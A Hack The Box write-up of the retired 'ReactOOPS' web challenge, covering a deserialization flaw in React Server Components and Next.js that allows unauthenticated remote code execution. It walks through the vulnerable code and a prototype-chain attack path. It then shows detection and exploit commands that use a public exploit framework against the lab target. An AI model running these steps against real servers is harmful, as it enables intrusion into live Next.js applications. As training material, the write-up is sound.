Hack The Box Writeup for Retired Challenge ReactOOPS - Complete solution and educational guide to CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Includes detailed vulnerability analysis, exploitation techniques, and team learning materials.
Author: TheStingR - Team ISP1337Hackers
Challenge: ReactOOPS (Web)
Platform: Hack The Box
Difficulty: Very Easy - RETIRED
Date Solved: December 13, 2025
ReactOOPS is a web challenge that exploits CVE-2025-55182 / CVE-2025-66478, a critical unauthenticated Remote Code Execution vulnerability in React Server Components and Next.js App Router.
Key Findings:
hasOwnProperty check in Flight protocol deserializationThe challenge presents a polished Next.js application running NexusAI's assistant interface. The application appears to handle user input through React Server Components, but subtle glitches in the reactive layer hint at underlying vulnerabilities.
The application uses:
The Flight protocol is React's proprietary serialization format for transmitting data between server and client in Server Component architectures. It uses references like:
$1 - Reference to object at position 1$1:path:to:value - Property path traversalVulnerable Code in React's ReactFlightReplyServer.js:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
The Safe Version (What It Should Be):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
Without the hasOwnProperty check, an attacker can traverse:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
The vulnerability exists before the Next-Action validation:
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
By triggering RCE during deserialization, attackers bypass all action-level security checks.
# Test if service is responding
curl -v http://<IP>:PORT/
Expected: Next.js application serving HTML with RSC enabled
Look for indicators:
next- prefixes<script type="text/x-component">.next directory artifactsThe most reliable indicator is attempting a prototype pollution attack and observing the response:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
Goal: Confirm the server is vulnerable without causing damage
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
What It Does:
Next-Action: x header["$1:a:a"] referencing empty object {}{}.a.aExpected Output:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
Interpretation:
E{"digest" in response: ✅ React error handling formatGoal: Verify arbitrary command execution
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://<IP>:PORT "id"